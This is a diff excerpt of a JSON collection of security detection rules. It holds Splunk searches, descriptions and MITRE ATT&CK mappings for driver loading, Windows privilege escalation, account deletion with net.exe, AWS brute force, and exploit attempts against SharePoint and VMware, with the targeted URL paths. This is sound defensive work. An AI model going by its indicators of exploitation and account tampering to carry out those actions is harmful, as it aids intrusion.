- "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A kernel mode driver was loaded from a non-standard path on $dest$.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1014", - "mitre_attack_technique": "Rootkit", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Rocke", - "TeamTNT", - "Winnti Group" - ] - }, - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Drivers Loaded by Signature", - "description": "The following analytic identifies all drivers being loaded on Windows systems using Sysmon EventCode 6 (Driver Load). It leverages fields such as driver path, signature status, and hash to detect potentially suspicious drivers. This activity is significant for a SOC as malicious drivers can be used to gain kernel-level access, bypass security controls, or persist in the environment. If confirmed malicious, this activity could allow an attacker to execute arbitrary code with high privileges, leading to severe system compromise and potential data exfiltration.", - "search": "`sysmon` EventCode=6 | stats min(_time) as firstTime max(_time) as lastTime values(ImageLoaded) count by dest Signed Signature service_signature_verified service_signature_exists Hashes | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_drivers_loaded_by_signature_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "BlackByte Ransomware", - "CISA AA22-320A", - "Windows Drivers" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A driver has loaded on $dest$.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1014", - "mitre_attack_technique": "Rootkit", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Rocke", - "TeamTNT", - "Winnti Group" - ] - }, - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Privilege Escalation Suspicious Process Elevation", - "description": "The following analytic detects when a process running with low or medium integrity from a user account spawns an elevated process with high or system integrity in suspicious locations. This behavior is identified using process execution data from Windows process monitoring or Sysmon Event ID 1. This activity is significant as it may indicate a threat actor successfully elevating privileges, which is a common tactic in advanced attacks. If confirmed malicious, this could allow the attacker to execute code with higher privileges, potentially leading to full system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"low\",\"medium\",\"high\") NOT Processes.user IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"DWM-*\",\"*$\") by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.parent_process, Processes.parent_process_name Processes.process_name Processes.process, Processes.process_path, Processes.process_guid, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | eval join_guid = process_guid, integrity_level = CASE(match(process_integrity_level,\"low\"),1,match(process_integrity_level,\"medium\"),2,match(process_integrity_level,\"high\"),3,match(process_integrity_level,\"system\"),4,true(),0) | rename user as src_user, parent_process* as orig_parent_process*, process* as parent_process* | join max=0 dest join_guid [| tstats `security_content_summariesonly` count max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_integrity_level IN (\"system\") NOT Processes.user IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"DWM-*\",\"*$\")) OR (Processes.process_integrity_level IN (\"high\",\"system\") AND (Processes.parent_process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\") OR Processes.process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\"))) by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.process_name, Processes.process, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | eval elevated_integrity_level = CASE(match(process_integrity_level,\"low\"),1,match(process_integrity_level,\"medium\"),2,match(process_integrity_level,\"high\"),3,match(process_integrity_level,\"system\"),4,true(),0) | rename parent_process_guid as join_guid ] | where elevated_integrity_level > integrity_level OR user != elevated_user | fields dest, user, src_user, parent_process_name, parent_process, parent_process_path, parent_process_guid, parent_process_integrity_level, parent_process_current_directory, process_name, process, process_path, process_guid, process_integrity_level, process_current_directory, orig_parent_process_name, orig_parent_process, orig_parent_process_guid, firstTime, lastTime, count | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_privilege_escalation_suspicious_process_elevation_filter`", - "tags": { - "analytic_story": [ - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "The user $src_user$ launched a process [$parent_process_name$] which spawned a suspicious elevated integrity process [$process_name$].", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows Privilege Escalation System Process Without System Parent", - "description": "The following analytic detects any system integrity level process spawned by a non-system account. It leverages Sysmon Event ID 1, focusing on process integrity and parent user data. This behavior is significant as it often indicates successful privilege escalation to SYSTEM from a user-controlled process or service. If confirmed malicious, this activity could allow an attacker to gain full control over the system, execute arbitrary code, and potentially compromise the entire environment.", - "search": "`sysmon` EventCode=1 IntegrityLevel=\"system\" ParentUser=* NOT ParentUser IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"*DWM-*\",\"*$\",\"-\") | eval src_user = replace(ParentUser,\"^[^\\\\\\]+\\\\\\\\\",\"\") | stats count min(_time) as firstTime max(_time) as lastTime values(process_name) as process_name values(process) as process, values(process_path) as process_path, values(process_current_directory) as process_current_directory values(parent_process) as parent_process by dest, user, src_user, parent_process_name, parent_process_guid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_privilege_escalation_system_process_without_system_parent_filter`", - "tags": { - "analytic_story": [ - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "The process [$process_name$] on $dest$ was launched with system level integrity by $src_user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows Privilege Escalation User Process Spawn System Process", - "description": "The following analytic detects when a process with low, medium, or high integrity spawns a system integrity process from a user-controlled location. This behavior is indicative of privilege escalation attempts where attackers elevate their privileges to SYSTEM level from a user-controlled process or service. The detection leverages Sysmon data, specifically Event ID 15, to identify such transitions. Monitoring this activity is crucial as it can signify an attacker gaining SYSTEM-level access, potentially leading to full control over the affected system, unauthorized access to sensitive data, and further malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"low\",\"medium\",\"high\") NOT Processes.user IN (\"*SYSTEM\",\"*LOCAL SERVICE\",\"*NETWORK SERVICE\",\"DWM-*\",\"*$\") AND Processes.process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\") by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.parent_process, Processes.parent_process_name Processes.process_name Processes.process, Processes.process_path, Processes.process_guid, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | eval join_guid = process_guid | join max=0 dest join_guid [| tstats `security_content_summariesonly` count max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_integrity_level IN (\"system\") AND Processes.parent_process_path IN (\"*\\\\\\\\*\",\"*\\\\Users\\\\*\",\"*\\\\Temp\\\\*\",\"*\\\\ProgramData\\\\*\") by Processes.dest, Processes.user, Processes.parent_process_guid, Processes.process_name, Processes.process, Processes.process_path, Processes.process_integrity_level, Processes.process_current_directory | `drop_dm_object_name(Processes)` | rename parent_process_guid as join_guid, process* as system_process*, user as system_user ] | fields dest, user, parent_process, parent_process_name, parent_process_guid, process, process_name, process_guid, process_integrity_level,process_path, process_current_directory, system_process_name, system_process, system_process_path, system_process_integrity_level, system_process_current_directory, system_user, firstTime, lastTime, count | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_privilege_escalation_user_process_spawn_system_process_filter`", - "tags": { - "analytic_story": [ - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Other", - "role": [ - "Attacker" - ] - } - ], - "message": "The user $user$ launched a process [$process_name$] which spawned a system level integrity process [$system_process$].", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows Service Create Kernel Mode Driver", - "description": "The following analytic identifies the creation of a new kernel mode driver using the sc.exe command. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. The activity is significant because adding a kernel driver is uncommon in regular operations and can indicate an attempt to gain low-level access to the system. If confirmed malicious, this could allow an attacker to execute code with high privileges, potentially compromising the entire system and evading traditional security measures.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=sc.exe Processes.process=\"*kernel*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_create_kernel_mode_driver_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Windows Drivers" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Service control, $process_name$, loaded a new kernel mode driver on $dest$ by $user$.", - "risk_score": 48, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.003", - "mitre_attack_technique": "Windows Service", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "Cinnamon Tempest", - "Cobalt Group", - "DarkVishnya", - "Earth Lusca", - "FIN7", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "PROMETHIUM", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows System File on Disk", - "description": "The following analytic detects the creation of new .sys files on disk. It leverages the Endpoint.Filesystem data model to identify and log instances where .sys files are written to the filesystem. This activity is significant because .sys files are often used as kernel mode drivers, and their unauthorized creation can indicate malicious activity such as rootkit installation. If confirmed malicious, this could allow an attacker to gain kernel-level access, leading to full system compromise, persistent control, and the ability to bypass security mechanisms.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name=\"*.sys*\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.file_hash | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_system_file_on_disk_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-264A", - "Windows Drivers" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A new driver is present on $dest$.", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Microsoft SharePoint Server Elevation of Privilege", - "description": "The following analytic detects potential exploitation attempts against Microsoft SharePoint Server vulnerability CVE-2023-29357. It leverages the Web datamodel to monitor for specific API calls and HTTP methods indicative of privilege escalation attempts. This activity is significant as it may indicate an attacker is trying to gain unauthorized privileged access to the SharePoint environment. If confirmed malicious, the impact could include unauthorized access to sensitive data, potential data theft, and further compromise of the SharePoint server, leading to a broader security breach.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"/_api/web/siteusers*\",\"/_api/web/currentuser*\") Web.status=200 Web.http_method=GET by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `microsoft_sharepoint_server_elevation_of_privilege_filter`", - "tags": { - "analytic_story": [ - "Microsoft SharePoint Server Elevation of Privilege CVE-2023-29357" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible exploitation of CVE-2023-29357 against $dest$ from $src$.", - "risk_score": 45, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "VMWare Aria Operations Exploit Attempt", - "description": "The following analytic detects potential exploitation attempts against VMWare vRealize Network Insight, specifically targeting the CVE-2023-20887 vulnerability. It monitors web traffic for HTTP POST requests directed at the vulnerable endpoint \"/saas./resttosaasservlet.\" This detection leverages web traffic data, focusing on specific URL patterns and HTTP methods. Identifying this behavior is crucial for a SOC as it indicates an active exploit attempt. If confirmed malicious, the attacker could execute arbitrary code, leading to unauthorized access, data theft, or further network compromise.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/saas./resttosaasservlet*\") Web.http_method=POST Web.status IN (\"unknown\", \"200\") by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `vmware_aria_operations_exploit_attempt_filter`", - "tags": { - "analytic_story": [ - "VMware Aria Operations vRealize CVE-2023-20887" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "An exploitation attempt has occurred against $dest$ from $src$ related to CVE-2023-20887", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1210", - "mitre_attack_technique": "Exploitation of Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT28", - "Dragonfly", - "Earth Lusca", - "FIN7", - "Fox Kitten", - "MuddyWater", - "Threat Group-3390", - "Tonto Team", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1068", - "mitre_attack_technique": "Exploitation for Privilege Escalation", - "mitre_attack_tactics": [ - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT33", - "BITTER", - "Cobalt Group", - "FIN6", - "FIN8", - "LAPSUS$", - "MoustachedBouncer", - "PLATINUM", - "Scattered Spider", - "Threat Group-3390", - "Tonto Team", - "Turla", - "Whitefly", - "ZIRCONIUM" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -564729,208 +375135,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started" ] - }, - { - "name": "Deleting Of Net Users", - "description": "The following analytic detects the use of net.exe or net1.exe command-line to delete a user account on a system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line execution logs. This activity is significant as it may indicate an attempt to impair user accounts or cover tracks during lateral movement. If confirmed malicious, this could lead to unauthorized access removal, disruption of legitimate user activities, or concealment of adversarial actions, complicating incident response and forensic investigations.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` AND Processes.process=\"*user*\" AND Processes.process=\"*/delete*\" by Processes.process_name Processes.original_file_name Processes.dest Processes.user Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `deleting_of_net_users_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware", - "Graceful Wipe Out Attack", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to delete accounts.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1531", - "mitre_attack_technique": "Account Access Removal", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Akira", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Disabling Net User Account", - "description": "The following analytic detects the use of the `net.exe` utility to disable a user account via the command line. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant as it may indicate an adversary's attempt to disrupt user availability, potentially as a precursor to further malicious actions. If confirmed malicious, this could lead to denial of service for legitimate users, aiding the attacker in maintaining control or covering their tracks.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` AND Processes.process=\"*user*\" AND Processes.process=\"*/active:no*\" by Processes.process_name Processes.original_file_name Processes.dest Processes.user Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_net_user_account_filter`", - "tags": { - "analytic_story": [ - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified disabling a user account on endpoint $dest$ by user $user$.", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1531", - "mitre_attack_technique": "Account Access Removal", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Akira", - "LAPSUS$" - ] - } - ] - } - }, - { - "name": "Excessive Usage Of Net App", - "description": "The following analytic detects excessive usage of `net.exe` or `net1.exe` within a one-minute interval. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and command-line executions. This behavior is significant as it may indicate an adversary attempting to create, delete, or disable multiple user accounts rapidly, a tactic observed in Monero mining incidents. If confirmed malicious, this activity could lead to unauthorized user account manipulation, potentially compromising system integrity and enabling further malicious actions.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.process_id) as process_id count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_net` by Processes.process_name Processes.parent_process_name Processes.original_file_name Processes.dest Processes.user _time span=1m | where count >=10 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_usage_of_net_app_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Graceful Wipe Out Attack", - "Prestige Ransomware", - "Ransomware", - "Rhysida Ransomware", - "Windows Post-Exploitation", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Excessive usage of net1.exe or net.exe within 1m, with command line $process$ has been detected on $dest$ by $user$", - "risk_score": 28, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1531", - "mitre_attack_technique": "Account Access Removal", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "Akira", - "LAPSUS$" - ] - } - ] - } } ], "external_reference": [ @@ -565584,1201 +375788,6 @@ "references": [ "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" ] - }, - { - "name": "AWS High Number Of Failed Authentications From Ip", - "description": "The following analytic detects an IP address with 20 or more failed authentication attempts to the AWS Web Console within a 5-minute window. This detection leverages CloudTrail logs, aggregating failed login events by IP address and time span. This activity is significant as it may indicate a brute force attack aimed at gaining unauthorized access or escalating privileges within an AWS environment. If confirmed malicious, this could lead to unauthorized access, data breaches, or further exploitation of AWS resources.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=5m _time | stats dc(_raw) AS failed_attempts values(user_name) as tried_accounts values(user_agent) by _time, src_ip, eventName, eventSource aws_account_id | where failed_attempts > 20 | `aws_high_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - 